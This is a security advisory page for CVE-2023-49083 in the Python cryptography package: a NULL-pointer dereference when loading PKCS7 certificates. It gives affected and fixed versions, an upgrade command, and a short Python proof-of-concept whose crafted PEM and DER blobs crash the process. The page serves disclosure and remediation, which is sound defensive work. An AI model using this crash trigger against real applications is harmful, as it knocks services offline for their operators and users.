MediumGHSA-jfhm-5ghh-2f97CVE-2023-49083PYSEC-2023-254

cryptography vulnerable to NULL-dereference when loading PKCS7 certificates

Published 28 Nov 2023 · Updated 10 Sept 2026

Is your project on an affected cryptography?

Private repo? Upload its lockfile instead, or connect GitHub to check every repo.

Look after several Python apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Affected package

Affected
>=3.1 <41.0.6
Fixed in
41.0.6
Update to the fixed version for your release line, for example:pip install 'cryptography>=41.0.6'

Details

Summary

Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault.

PoC

Here is a Python code that triggers the issue:

from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)

Impact

Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.

Is GHSA-jfhm-5ghh-2f97 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected cryptography, and gives you the command that fixes it.

More advisories for cryptography

  • MediumCVE-2026-69248python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees · 3 Aug 2026
  • HighCVE-2026-69249python-cryptography: Duplicate self-signed intermediates can cause exponential path-building · 3 Aug 2026
  • HighCVE-2026-69247cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing · 3 Aug 2026
  • HighGHSA-537c-gmf6-5ccfVulnerable OpenSSL included in cryptography wheels · 15 Jun 2026
  • MediumCVE-2026-39892Cryptography vulnerable to buffer overflow if non-contiguous buffers were passed to APIs · 8 Apr 2026
  • LowCVE-2026-34073cryptography has incomplete DNS name constraint enforcement on peer names · 27 Mar 2026
All 24 advisories for cryptography

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.